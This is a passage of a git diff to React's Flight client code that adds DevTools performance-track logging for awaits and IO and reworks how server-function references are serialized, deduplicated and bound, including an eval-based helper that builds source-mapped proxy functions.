+        startTime < 0 ? 0 : startTime,
+        endTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        'warning',
+      );
+    }
+  }
+}
+
+export function logComponentAwaitErrored(
+  asyncInfo: ReactAsyncInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  rootEnv: string,
+  error: mixed,
+): void {
+  if (supportsUserTiming && endTime > 0) {
+    const description = getIODescription(error);
+    const entryName =
+      'await ' +
+      getIOShortName(asyncInfo.awaited, description, asyncInfo.env, rootEnv);
+    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;
+    if (__DEV__ && debugTask) {
+      const message =
+        typeof error === 'object' &&
+        error !== null &&
+        typeof error.message === 'string'
+          ? // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error.message)
+          : // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error);
+      const properties = [['Rejected', message]];
+      const tooltipText =
+        getIOLongName(asyncInfo.awaited, description, asyncInfo.env, rootEnv) +
+        ' Rejected';
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, entryName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: endTime,
+          detail: {
+            devtools: {
+              color: 'error',
+              track: trackNames[trackIdx],
+              trackGroup: COMPONENTS_TRACK,
+              properties,
+              tooltipText,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(entryName);
+    } else {
+      console.timeStamp(
+        entryName,
+        startTime < 0 ? 0 : startTime,
+        endTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        'error',
+      );
+    }
+  }
+}
+
+export function logComponentAwait(
+  asyncInfo: ReactAsyncInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  rootEnv: string,
+  value: mixed,
+): void {
+  if (supportsUserTiming && endTime > 0) {
+    const description = getIODescription(value);
+    const name = getIOShortName(
+      asyncInfo.awaited,
+      description,
+      asyncInfo.env,
+      rootEnv,
+    );
+    const entryName = 'await ' + name;
+    const color = getIOColor(name);
+    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;
+    if (__DEV__ && debugTask) {
+      const properties: Array<[string, string]> = [];
+      if (typeof value === 'object' && value !== null) {
+        addObjectToProperties(value, properties, 0, '');
+      } else if (value !== undefined) {
+        addValueToProperties('awaited value', value, properties, 0, '');
+      }
+      const tooltipText = getIOLongName(
+        asyncInfo.awaited,
+        description,
+        asyncInfo.env,
+        rootEnv,
+      );
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, entryName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: endTime,
+          detail: {
+            devtools: {
+              color: color,
+              track: trackNames[trackIdx],
+              trackGroup: COMPONENTS_TRACK,
+              properties,
+              tooltipText,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(entryName);
+    } else {
+      console.timeStamp(
+        entryName,
+        startTime < 0 ? 0 : startTime,
+        endTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        color,
+      );
+    }
+  }
+}
+
+export function logIOInfoErrored(
+  ioInfo: ReactIOInfo,
+  rootEnv: string,
+  error: mixed,
+): void {
+  const startTime = ioInfo.start;
+  const endTime = ioInfo.end;
+  if (supportsUserTiming && endTime >= 0) {
+    const description = getIODescription(error);
+    const entryName = getIOShortName(ioInfo, description, ioInfo.env, rootEnv);
+    const debugTask = ioInfo.debugTask;
+    const measureName = '\u200b' + entryName;
+    if (__DEV__ && debugTask) {
+      const message =
+        typeof error === 'object' &&
+        error !== null &&
+        typeof error.message === 'string'
+          ? // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error.message)
+          : // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error);
+      const properties = [['rejected with', message]];
+      const tooltipText =
+        getIOLongName(ioInfo, description, ioInfo.env, rootEnv) + ' Rejected';
+
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, measureName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: endTime,
+          detail: {
+            devtools: {
+              color: 'error',
+              track: IO_TRACK,
+              properties,
+              tooltipText,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        measureName,
+        startTime < 0 ? 0 : startTime,
+        endTime,
+        IO_TRACK,
+        undefined,
+        'error',
+      );
+    }
+  }
+}
+
+export function logIOInfo(
+  ioInfo: ReactIOInfo,
+  rootEnv: string,
+  value: mixed,
+): void {
+  const startTime = ioInfo.start;
+  const endTime = ioInfo.end;
+  if (supportsUserTiming && endTime >= 0) {
+    const description = getIODescription(value);
+    const entryName = getIOShortName(ioInfo, description, ioInfo.env, rootEnv);
+    const color = getIOColor(entryName);
+    const debugTask = ioInfo.debugTask;
+    const measureName = '\u200b' + entryName;
+    if (__DEV__ && debugTask) {
+      const properties: Array<[string, string]> = [];
+      if (typeof value === 'object' && value !== null) {
+        addObjectToProperties(value, properties, 0, '');
+      } else if (value !== undefined) {
+        addValueToProperties('Resolved', value, properties, 0, '');
+      }
+      const tooltipText = getIOLongName(
+        ioInfo,
+        description,
+        ioInfo.env,
+        rootEnv,
+      );
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, measureName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: endTime,
+          detail: {
+            devtools: {
+              color: color,
+              track: IO_TRACK,
+              properties,
+              tooltipText,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        measureName,
+        startTime < 0 ? 0 : startTime,
+        endTime,
+        IO_TRACK,
+        undefined,
+        color,
+      );
+    }
+  }
+}
diff --git a/packages/react-client/src/ReactFlightReplyClient.js b/packages/react-client/src/ReactFlightReplyClient.js
index e5f7a559e7a4..56f60d3623c9 100644
--- a/packages/react-client/src/ReactFlightReplyClient.js
+++ b/packages/react-client/src/ReactFlightReplyClient.js
@@ -13,21 +13,15 @@ import type {
   FulfilledThenable,
   RejectedThenable,
   ReactCustomFormAction,
+  ReactFunctionLocation,
 } from 'shared/ReactTypes';
 import type {LazyComponent} from 'react/src/ReactLazy';
 import type {TemporaryReferenceSet} from './ReactFlightTemporaryReferences';
 
-import {
-  enableRenderableContext,
-  enableBinaryFlight,
-  enableFlightReadableStream,
-} from 'shared/ReactFeatureFlags';
-
 import {
   REACT_ELEMENT_TYPE,
   REACT_LAZY_TYPE,
   REACT_CONTEXT_TYPE,
-  REACT_PROVIDER_TYPE,
   getIteratorFn,
   ASYNC_ITERATOR,
 } from 'shared/ReactSymbols';
@@ -45,7 +39,10 @@ import getPrototypeOf from 'shared/getPrototypeOf';
 
 const ObjectPrototype = Object.prototype;
 
-import {usedWithSSR} from './ReactFlightClientConfig';
+import {
+  usedWithSSR,
+  checkEvalAvailabilityOnceDev,
+} from './ReactFlightClientConfig';
 
 type ReactJSONValue =
   | string
@@ -66,10 +63,14 @@ export type EncodeFormActionCallback = <A>(
 
 export type ServerReferenceId = any;
 
-const knownServerReferences: WeakMap<
-  Function,
-  {id: ServerReferenceId, bound: null | Thenable<Array<any>>},
-> = new WeakMap();
+type ServerReferenceClosure = {
+  id: ServerReferenceId,
+  originalBind: Function,
+  bound: null | Thenable<Array<any>>,
+};
+
+const knownServerReferences: WeakMap<Function, ServerReferenceClosure> =
+  new WeakMap();
 
 // Serializable values
 export type ReactServerValue =
@@ -97,6 +98,8 @@ export type ReactServerValue =
 
 type ReactServerObject = {+[key: string]: ReactServerValue};
 
+const __PROTO__ = '__proto__';
+
 function serializeByValueID(id: number): string {
   return '$' + id.toString(16);
 }
@@ -106,7 +109,7 @@ function serializePromiseID(id: number): string {
 }
 
 function serializeServerReferenceID(id: number): string {
-  return '$F' + id.toString(16);
+  return '$h' + id.toString(16);
 }
 
 function serializeTemporaryReferenceMarker(): string {
@@ -114,7 +117,6 @@ function serializeTemporaryReferenceMarker(): string {
 }
 
 function serializeFormDataReference(id: number): string {
-  // Why K? F is "Function". D is "Date". What else?
   return '$K' + id.toString(16);
 }
 
@@ -184,13 +186,21 @@ export function processReply(
   temporaryReferences: void | TemporaryReferenceSet,
   resolve: (string | FormData) => void,
   reject: (error: mixed) => void,
-): void {
+): (reason: mixed) => void {
   let nextPartId = 1;
   let pendingParts = 0;
   let formData: null | FormData = null;
   const writtenObjects: WeakMap<Reference, string> = new WeakMap();
   let modelRoot: null | ReactServerValue = root;
 
+  if (__DEV__) {
+    // We use eval to create fake function stacks which includes Component stacks.
+    // A warning would be noise if you used Flight without Components and don't encounter
+    // errors. We're warning eagerly so that you configure your environment accordingly
+    // before you encounter an error.
+    checkEvalAvailabilityOnceDev();
+  }
+
   function serializeTypedArray(
     tag: string,
     typedArray: $ArrayBufferView,
@@ -227,14 +237,11 @@ export function processReply(
     function progress(entry: {done: boolean, value: ReactServerValue, ...}) {
       if (entry.done) {
         const blobId = nextPartId++;
-        // eslint-disable-next-line react-internal/safe-string-coercion
         data.append(formFieldPrefix + blobId, new Blob(buffer));
-        // eslint-disable-next-line react-internal/safe-string-coercion
         data.append(
           formFieldPrefix + streamId,
           '"$o' + blobId.toString(16) + '"',
         );
-        // eslint-disable-next-line react-internal/safe-string-coercion
         data.append(formFieldPrefix + streamId, 'C'); // Close signal
         pendingParts--;
         if (pendingParts === 0) {
@@ -262,7 +269,6 @@ export function processReply(
 
     function progress(entry: {done: boolean, value: ReactServerValue, ...}) {
       if (entry.done) {
-        // eslint-disable-next-line react-internal/safe-string-coercion
         data.append(formFieldPrefix + streamId, 'C'); // Close signal
         pendingParts--;
         if (pendingParts === 0) {
@@ -272,7 +278,6 @@ export function processReply(
         try {
           // $FlowFixMe[incompatible-type]: While plain JSON can return undefined we never do here.
           const partJSON: string = JSON.stringify(entry.value, resolveToJSON);
-          // eslint-disable-next-line react-internal/safe-string-coercion
           data.append(formFieldPrefix + streamId, partJSON);
           reader.read().then(progress, reject);
         } catch (x) {
@@ -326,7 +331,6 @@ export function processReply(
     ) {
       if (entry.done) {
         if (entry.value === undefined) {
-          // eslint-disable-next-line react-internal/safe-string-coercion
           data.append(formFieldPrefix + streamId, 'C'); // Close signal
         } else {
           // Unlike streams, the last value may not be undefined. If it's not
@@ -348,7 +352,6 @@ export function processReply(
         try {
           // $FlowFixMe[incompatible-type]: While plain JSON can return undefined we never do here.
           const partJSON: string = JSON.stringify(entry.value, resolveToJSON);
-          // eslint-disable-next-line react-internal/safe-string-coercion
           data.append(formFieldPrefix + streamId, partJSON);
           iterator.next().then(progress, reject);
         } catch (x) {
@@ -371,6 +374,15 @@ export function processReply(
   ): ReactJSONValue {
     const parent = this;
 
+    if (__DEV__) {
+      if (key === __PROTO__) {
+        console.error(
+          'Expected not to serialize an object with own property `__proto__`. When parsed this property will be omitted.%s',
+          describeObjectForErrorMessage(parent, key),
+        );
+      }
+    }
+
     // Make sure that `parent[key]` wasn't JSONified before `value` was passed to us
     if (__DEV__) {
       // $FlowFixMe[incompatible-use]
@@ -417,6 +429,14 @@ export function processReply(
               return serializeTemporaryReferenceMarker();
             }
           }
+          // This element is the root of a serializeModel call (e.g. JSX
+          // passed directly to encodeReply, or a promise that resolved to
+          // JSX). It was already registered as a temporary reference by
+          // serializeModel so we just need to emit the marker.
+          if (temporaryReferences !== undefined && modelRoot === value) {
+            modelRoot = null;
+            return serializeTemporaryReferenceMarker();
+          }
           throw new Error(
             'React Element cannot be passed to Server Functions from the Client without a ' +
               'temporary reference set. Pass a TemporaryReferenceSet to the options.' +
@@ -441,7 +461,6 @@ export function processReply(
             const partJSON = serializeModel(resolvedModel, lazyId);
             // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.
             const data: FormData = formData;
-            // eslint-disable-next-line react-internal/safe-string-coercion
             data.append(formFieldPrefix + lazyId, partJSON);
             return serializeByValueID(lazyId);
           } catch (x) {
@@ -461,7 +480,6 @@ export function processReply(
                   const partJSON = serializeModel(value, lazyId);
                   // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.
                   const data: FormData = formData;
-                  // eslint-disable-next-line react-internal/safe-string-coercion
                   data.append(formFieldPrefix + lazyId, partJSON);
                   pendingParts--;
                   if (pendingParts === 0) {
@@ -485,8 +503,22 @@ export function processReply(
         }
       }
 
+      const existingReference = writtenObjects.get(value);
+
       // $FlowFixMe[method-unbinding]
       if (typeof value.then === 'function') {
+        if (existingReference !== undefined) {
+          if (modelRoot === value) {
+            // This is the ID we're currently emitting so we need to write it
+            // once but if we discover it again, we refer to it by id.
+            modelRoot = null;
+          } else {
+            // We've already emitted this as an outlined object, so we can
+            // just refer to that by its existing ID.
+            return existingReference;
+          }
+        }
+
         // We assume that any object with a .then property is a "Thenable" type,
         // or a Promise type. Either of which can be represented by a Promise.
         if (formData === null) {
@@ -495,14 +527,21 @@ export function processReply(
         }
         pendingParts++;
         const promiseId = nextPartId++;
+        const promiseReference = serializePromiseID(promiseId);
+        writtenObjects.set(value, promiseReference);
         const thenable: Thenable<any> = (value: any);
         thenable.then(
           partValue => {
             try {
-              const partJSON = serializeModel(partValue, promiseId);
+              const previousReference = writtenObjects.get(partValue);
+              let partJSON;
+              if (previousReference !== undefined) {
+                partJSON = JSON.stringify(previousReference);
+              } else {
+                partJSON = serializeModel(partValue, promiseId);
+              }
               // $FlowFixMe[incompatible-type] We know it's not null because we assigned it above.
               const data: FormData = formData;
-              // eslint-disable-next-line react-internal/safe-string-coercion
               data.append(formFieldPrefix + promiseId, partJSON);
               pendingParts--;
               if (pendingParts === 0) {
@@ -516,10 +555,9 @@ export function processReply(
           // that throws on the server instead.
           reject,
         );
-        return serializePromiseID(promiseId);
+        return promiseReference;
       }
 
-      const existingReference = writtenObjects.get(value);
       if (existingReference !== undefined) {
         if (modelRoot === value) {
           // This is the ID we're currently emitting so we need to write it
@@ -563,6 +601,7 @@ export function processReply(
         const prefix = formFieldPrefix + refId + '_';
         // $FlowFixMe[prop-missing]: FormData has forEach.
         value.forEach((originalValue: string | File, originalKey: string) => {
+          // $FlowFixMe[incompatible-call]
           data.append(prefix + originalKey, originalValue);
         });
         return serializeFormDataReference(refId);
@@ -586,73 +625,71 @@ export function processReply(
         return serializeSetID(setId);
       }
 
-      if (enableBinaryFlight) {
-        if (value instanceof ArrayBuffer) {
-          const blob = new Blob([value]);
-          const blobId = nextPartId++;
-          if (formData === null) {
-            formData = new FormData();
-          }
-          formData.append(formFieldPrefix + blobId, blob);
-          return '$' + 'A' + blobId.toString(16);
-        }
-        if (value instanceof Int8Array) {
-          // char
-          return serializeTypedArray('O', value);
-        }
-        if (value instanceof Uint8Array) {
-          // unsigned char
-          return serializeTypedArray('o', value);
-        }
-        if (value instanceof Uint8ClampedArray) {
-          // unsigned clamped char
-          return serializeTypedArray('U', value);
-        }
-        if (value instanceof Int16Array) {
-          // sort
-          return serializeTypedArray('S', value);
-        }
-        if (value instanceof Uint16Array) {
-          // unsigned short
-          return serializeTypedArray('s', value);
-        }
-        if (value instanceof Int32Array) {
-          // long
-          return serializeTypedArray('L', value);
-        }
-        if (value instanceof Uint32Array) {
-          // unsigned long
-          return serializeTypedArray('l', value);
-        }
-        if (value instanceof Float32Array) {
-          // float
-          return serializeTypedArray('G', value);
-        }
-        if (value instanceof Float64Array) {
-          // double
-          return serializeTypedArray('g', value);
-        }
-        if (value instanceof BigInt64Array) {
-          // number
-          return serializeTypedArray('M', value);
-        }
-        if (value instanceof BigUint64Array) {
-          // unsigned number
-          // We use "m" instead of "n" since JSON can start with "null"
-          return serializeTypedArray('m', value);
-        }
-        if (value instanceof DataView) {
-          return serializeTypedArray('V', value);
+      if (value instanceof ArrayBuffer) {
+        const blob = new Blob([value]);
+        const blobId = nextPartId++;
+        if (formData === null) {
+          formData = new FormData();
         }
-        // TODO: Blob is not available in old Node/browsers. Remove the typeof check later.
-        if (typeof Blob === 'function' && value instanceof Blob) {
-          if (formData === null) {
-            formData = new FormData();
-          }
-          const blobId = nextPartId++;
-          formData.append(formFieldPrefix + blobId, value);
-          return serializeBlobID(blobId);
+        formData.append(formFieldPrefix + blobId, blob);
+        return '$' + 'A' + blobId.toString(16);
+      }
+      if (value instanceof Int8Array) {
+        // char
+        return serializeTypedArray('O', value);
+      }
+      if (value instanceof Uint8Array) {
+        // unsigned char
+        return serializeTypedArray('o', value);
+      }
+      if (value instanceof Uint8ClampedArray) {
+        // unsigned clamped char
+        return serializeTypedArray('U', value);
+      }
+      if (value instanceof Int16Array) {
+        // sort
+        return serializeTypedArray('S', value);
+      }
+      if (value instanceof Uint16Array) {
+        // unsigned short
+        return serializeTypedArray('s', value);
+      }
+      if (value instanceof Int32Array) {
+        // long
+        return serializeTypedArray('L', value);
+      }
+      if (value instanceof Uint32Array) {
+        // unsigned long
+        return serializeTypedArray('l', value);
+      }
+      if (value instanceof Float32Array) {
+        // float
+        return serializeTypedArray('G', value);
+      }
+      if (value instanceof Float64Array) {
+        // double
+        return serializeTypedArray('g', value);
+      }
+      if (value instanceof BigInt64Array) {
+        // number
+        return serializeTypedArray('M', value);
+      }
+      if (value instanceof BigUint64Array) {
+        // unsigned number
+        // We use "m" instead of "n" since JSON can start with "null"
+        return serializeTypedArray('m', value);
+      }
+      if (value instanceof DataView) {
+        return serializeTypedArray('V', value);
+      }
+      // TODO: Blob is not available in old Node/browsers. Remove the typeof check later.
+      if (typeof Blob === 'function' && value instanceof Blob) {
+        if (formData === null) {
+          formData = new FormData();
         }
+        const blobId = nextPartId++;
+        formData.append(formFieldPrefix + blobId, value);
+        return serializeBlobID(blobId);
       }
 
       const iteratorFn = getIteratorFn(value);
@@ -674,23 +711,21 @@ export function processReply(
         return Array.from((iterator: any));
       }
 
-      if (enableFlightReadableStream) {
-        // TODO: ReadableStream is not available in old Node. Remove the typeof check later.
-        if (
-          typeof ReadableStream === 'function' &&
-          value instanceof ReadableStream
-        ) {
-          return serializeReadableStream(value);
-        }
-        const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =
-          (value: any)[ASYNC_ITERATOR];
-        if (typeof getAsyncIterator === 'function') {
-          // We treat AsyncIterables as a Fragment and as such we might need to key them.
-          return serializeAsyncIterable(
-            (value: any),
-            getAsyncIterator.call((value: any)),
-          );
-        }
+      // TODO: ReadableStream is not available in old Node. Remove the typeof check later.
+      if (
+        typeof ReadableStream === 'function' &&
+        value instanceof ReadableStream
+      ) {
+        return serializeReadableStream(value);
+      }
+      const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =
+        (value: any)[ASYNC_ITERATOR];
+      if (typeof getAsyncIterator === 'function') {
+        // We treat AsyncIterables as a Fragment and as such we might need to key them.
+        return serializeAsyncIterable(
+          (value: any),
+          getAsyncIterator.call((value: any)),
+        );
       }
 
       // Verify that this is a simple plain object.
@@ -701,8 +736,9 @@ export function processReply(
       ) {
         if (temporaryReferences === undefined) {
           throw new Error(
-            'Only plain objects, and a few built-ins, can be passed to Server Actions. ' +
-              'Classes or null prototypes are not supported.',
+            'Only plain objects, and a few built-ins, can be passed to Server Functions. ' +
+              'Classes or null prototypes are not supported.' +
+              (__DEV__ ? describeObjectForErrorMessage(parent, key) : ''),
           );
         }
         // We will have written this object to the temporary reference set above
@@ -710,10 +746,7 @@ export function processReply(
         return serializeTemporaryReferenceMarker();
       }
       if (__DEV__) {
-        if (
-          (value: any).$$typeof ===
-          (enableRenderableContext ? REACT_CONTEXT_TYPE : REACT_PROVIDER_TYPE)
-        ) {
+        if ((value: any).$$typeof === REACT_CONTEXT_TYPE) {
           console.error(
             'React Context Providers cannot be passed to Server Functions from the Client.%s',
             describeObjectForErrorMessage(parent, key),
@@ -775,18 +808,25 @@ export function processReply(
     }
 
     if (typeof value === 'function') {
-      const metaData = knownServerReferences.get(value);
-      if (metaData !== undefined) {
-        const metaDataJSON = JSON.stringify(metaData, resolveToJSON);
+      const referenceClosure = knownServerReferences.get(value);
+      if (referenceClosure !== undefined) {
+        const existingReference = writtenObjects.get(value);
+        if (existingReference !== undefined) {
+          return existingReference;
+        }
+        const {id, bound} = referenceClosure;
+        const referenceClosureJSON = JSON.stringify({id, bound}, resolveToJSON);
         if (formData === null) {
           // Upgrade to use FormData to allow us to stream this value.
           formData = new FormData();
         }
         // The reference to this function came from the same client so we can pass it back.
         const refId = nextPartId++;
-        // eslint-disable-next-line react-internal/safe-string-coercion
-        formData.set(formFieldPrefix + refId, metaDataJSON);
-        return serializeServerReferenceID(refId);
+        formData.set(formFieldPrefix + refId, referenceClosureJSON);
+        const serverReferenceId = serializeServerReferenceID(refId);
+        // Store the server reference ID for deduplication.
+        writtenObjects.set(value, serverReferenceId);
+        return serverReferenceId;
       }
       if (temporaryReferences !== undefined && key.indexOf(':') === -1) {
         // TODO: If the property name contains a colon, we don't dedupe. Escape instead.
@@ -849,6 +889,19 @@ export function processReply(
     return JSON.stringify(model, resolveToJSON);
   }
 
+  function abort(reason: mixed): void {
+    if (pendingParts > 0) {
+      pendingParts = 0; // Don't resolve again later.
+      // Resolve with what we have so far, which may have holes at this point.
+      // They'll error when the stream completes on the server.
+      if (formData === null) {
+        resolve(json);
+      } else {
+        resolve(formData);
+      }
+    }
+  }
+
   const json = serializeModel(root, 0);
 
   if (formData === null) {
@@ -862,10 +915,12 @@ export function processReply(
       resolve(formData);
     }
   }
+
+  return abort;
 }
 
 const boundCache: WeakMap<
-  {id: ServerReferenceId, bound: null | Thenable<Array<any>>},
+  ServerReferenceClosure,
   Thenable<FormData>,
 > = new WeakMap();
 
@@ -906,8 +961,8 @@ function defaultEncodeFormAction(
   this: any => Promise<any>,
   identifierPrefix: string,
 ): ReactCustomFormAction {
-  const reference = knownServerReferences.get(this);
-  if (!reference) {
+  const referenceClosure = knownServerReferences.get(this);
+  if (!referenceClosure) {
     throw new Error(
       'Tried to encode a Server Action from a different instance than the encoder is from. ' +
         'This is a bug in React.',
@@ -915,12 +970,13 @@ function defaultEncodeFormAction(
   }
   let data: null | FormData = null;
   let name;
-  const boundPromise = reference.bound;
+  const boundPromise = referenceClosure.bound;
   if (boundPromise !== null) {
-    let thenable = boundCache.get(reference);
+    let thenable = boundCache.get(referenceClosure);
     if (!thenable) {
-      thenable = encodeFormData(reference);
-      boundCache.set(reference, thenable);
+      const {id, bound} = referenceClosure;
+      thenable = encodeFormData({id, bound});
+      boundCache.set(referenceClosure, thenable);
     }
     if (thenable.status === 'rejected') {
       throw thenable.reason;
@@ -934,6 +990,7 @@ function defaultEncodeFormAction(
     const prefixedData = new FormData();
     // $FlowFixMe[prop-missing]
     encodedFormData.forEach((value: string | File, key: string) => {
+      // $FlowFixMe[incompatible-call]
       prefixedData.append('$ACTION_' + identifierPrefix + ':' + key, value);
     });
     data = prefixedData;
@@ -941,7 +998,7 @@ function defaultEncodeFormAction(
     name = '$ACTION_REF_' + identifierPrefix;
   } else {
     // This is the simple case so we can just encode the ID.
-    name = '$ACTION_ID_' + reference.id;
+    name = '$ACTION_ID_' + referenceClosure.id;
   }
   return {
     name: name,
@@ -952,22 +1009,22 @@ function defaultEncodeFormAction(
 }
 
 function customEncodeFormAction(
-  proxy: any => Promise<any>,
+  reference: any => Promise<any>,
   identifierPrefix: string,
   encodeFormAction: EncodeFormActionCallback,
 ): ReactCustomFormAction {
-  const reference = knownServerReferences.get(proxy);
-  if (!reference) {
+  const referenceClosure = knownServerReferences.get(reference);
+  if (!referenceClosure) {
     throw new Error(
       'Tried to encode a Server Action from a different instance than the encoder is from. ' +
         'This is a bug in React.',
     );
   }
-  let boundPromise: Promise<Array<any>> = (reference.bound: any);
+  let boundPromise: Promise<Array<any>> = (referenceClosure.bound: any);
   if (boundPromise === null) {
     boundPromise = Promise.resolve([]);
   }
-  return encodeFormAction(reference.id, boundPromise);
+  return encodeFormAction(referenceClosure.id, boundPromise);
 }
 
 function isSignatureEqual(
@@ -975,19 +1032,19 @@ function isSignatureEqual(
   referenceId: ServerReferenceId,
   numberOfBoundArgs: number,
 ): boolean {
-  const reference = knownServerReferences.get(this);
-  if (!reference) {
+  const referenceClosure = knownServerReferences.get(this);
+  if (!referenceClosure) {
     throw new Error(
       'Tried to encode a Server Action from a different instance than the encoder is from. ' +
         'This is a bug in React.',
     );
   }
-  if (reference.id !== referenceId) {
+  if (referenceClosure.id !== referenceId) {
     // These are different functions.
     return false;
   }
   // Now check if the number of bound arguments is the same.
-  const boundPromise = reference.bound;
+  const boundPromise = referenceClosure.bound;
   if (boundPromise === null) {
     // No bound arguments.
     return numberOfBoundArgs === 0;
@@ -1033,15 +1090,118 @@ function isSignatureEqual(
   }
 }
 
-export function registerServerReference(
-  proxy: any,
-  reference: {id: ServerReferenceId, bound: null | Thenable<Array<any>>},
+let fakeServerFunctionIdx = 0;
+
+function createFakeServerFunction<A: Iterable<any>, T>(
+  name: string,
+  filename: string,
+  sourceMap: null | string,
+  line: number,
+  col: number,
+  environmentName: string,
+  innerFunction: (...A) => Promise<T>,
+): (...A) => Promise<T> {
+  // This creates a fake copy of a Server Module. It represents the Server Action on the server.
+  // We use an eval so we can source map it to the original location.
+
+  const comment =
+    '/* This module is a proxy to a Server Action. Turn on Source Maps to see the server source. */';
+
+  if (!name) {
+    // An eval:ed function with no name gets the name "eval". We give it something more descriptive.
+    name = '<anonymous>';
+  }
+  const encodedName = JSON.stringify(name);
+  // We generate code where both the beginning of the function and its parenthesis is at the line
+  // and column of the server executed code. We use a method form since that lets us name it
+  // anything we want and because the beginning of the function and its parenthesis is the same
+  // column. Because Chrome inspects the location of the parenthesis and Firefox inspects the
+  // location of the beginning of the function. By not using a function expression we avoid the
+  // ambiguity.
+  let code;
+  if (line <= 1) {
+    const minSize = encodedName.length + 7;
+    code =
+      's=>({' +
+      encodedName +
+      ' '.repeat(col < minSize ? 0 : col - minSize) +
+      ':' +
+      '(...args) => s(...args)' +
+      '})\n' +
+      comment;
+  } else {
+    code =
+      comment +
+      '\n'.repeat(line - 2) +
+      'server=>({' +
+      encodedName +
+      ':\n' +
+      ' '.repeat(col < 1 ? 0 : col - 1) +
+      // The function body can get printed so we make it look nice.
+      // This "calls the server with the arguments".
+      '(...args) => server(...args)' +
+      '})';
+  }
+
+  if (filename.startsWith('/')) {
+    // If the filename starts with `/` we assume that it is a file system file
+    // rather than relative to the current host. Since on the server fully qualified
+    // stack traces use the file path.
+    // TODO: What does this look like on Windows?
+    filename = 'file://' + filename;
+  }
+
+  if (sourceMap) {
+    // We use the prefix about://React/ to separate these from other files listed in
+    // the Chrome DevTools. We need a "host name" and not just a protocol because
+    // otherwise the group name becomes the root folder. Ideally we don't want to
+    // show these at all but there's two reasons to assign a fake URL.
+    // 1) A printed stack trace string needs a unique URL to be able to source map it.
+    // 2) If source maps are disabled or fails, you should at least be able to tell
+    //    which file it was.
+    code +=
+      '\n//# sourceURL=about://React/' +
+      encodeURIComponent(environmentName) +
+      '/' +
+      encodeURI(filename) +
+      '?s' + // We add an extra s here to distinguish from the fake stack frames
+      fakeServerFunctionIdx++;
+    code += '\n//# sourceMappingURL=' + sourceMap;
+  } else if (filename) {
+    code += '\n//# sourceURL=' + filename;
+  }
+
+  try {
+    // Eval a factory and then call it to create a closure over the inner function.
+    // eslint-disable-next-line no-eval
+    return (0, eval)(code)(innerFunction)[name];
+  } catch (x) {
+    // If eval fails, such as if in an environment that doesn't support it,
+    // we fallback to just returning the inner function.
+    return innerFunction;
+  }
+}
+
+export function registerBoundServerReference<T: Function>(
+  reference: T,
+  id: ServerReferenceId,
+  bound: null | Thenable<Array<any>>,
   encodeFormAction: void | EncodeFormActionCallback,
-) {
+): void {
+  if (knownServerReferences.has(reference)) {
+    return;
+  }
+
+  knownServerReferences.set(reference, {
+    id,
+    originalBind: reference.bind,
+    bound,
+  });
+
   // Expose encoder for use by SSR, as well as a special bind that can be used to
   // keep server capabilities.
   if (usedWithSSR) {
-    // Only expose this in builds that would actually use it. Not needed on the client.
+    // Only expose this in builds that would actually use it. Not needed in the browser.
     const $$FORM_ACTION =
       encodeFormAction === undefined
         ? defaultEncodeFormAction
@@ -1055,13 +1215,21 @@ export function registerServerReference(
               encodeFormAction,
             );
           };
-    Object.defineProperties((proxy: any), {
+    Object.defineProperties((reference: any), {
       $$FORM_ACTION: {value: $$FORM_ACTION},
       $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},
       bind: {value: bind},
     });
   }
-  knownServerReferences.set(proxy, reference);
+}
+
+export function registerServerReference<T: Function>(
+  reference: T,
+  id: ServerReferenceId,
+  encodeFormAction?: EncodeFormActionCallback,
+): ServerReference<T> {
+  registerBoundServerReference(reference, id, null, encodeFormAction);
+  return reference;
 }
 
 // $FlowFixMe[method-unbinding]
@@ -1069,55 +1237,215 @@ const FunctionBind = Function.prototype.bind;
 // $FlowFixMe[method-unbinding]
 const ArraySlice = Array.prototype.slice;
 function bind(this: Function): Function {
-  // $FlowFixMe[unsupported-syntax]
-  const newFn = FunctionBind.apply(this, arguments);
-  const reference = knownServerReferences.get(this);
-  if (reference) {
-    if (__DEV__) {
-      const thisBind = arguments[0];
-      if (thisBind != null) {
-        // This doesn't warn in browser environments since it's not instrumented outside
-        // usedWithSSR. This makes this an SSR only warning which we don't generally do.
-        // TODO: Consider a DEV only instrumentation in the browser.
-        console.error(
-          'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
-        );
-      }
+  const referenceClosure = knownServerReferences.get(this);
+
+  if (!referenceClosure) {
+    // $FlowFixMe[incompatible-call]
+    return FunctionBind.apply(this, arguments);
+  }
+
+  const newFn = referenceClosure.originalBind.apply(this, arguments);
+
+  if (__DEV__) {
+    const thisBind = arguments[0];
+    if (thisBind != null) {
+      // This doesn't warn in browser environments since it's not instrumented outside
+      // usedWithSSR. This makes this an SSR only warning which we don't generally do.
+      // TODO: Consider a DEV only instrumentation in the browser.
+      console.error(
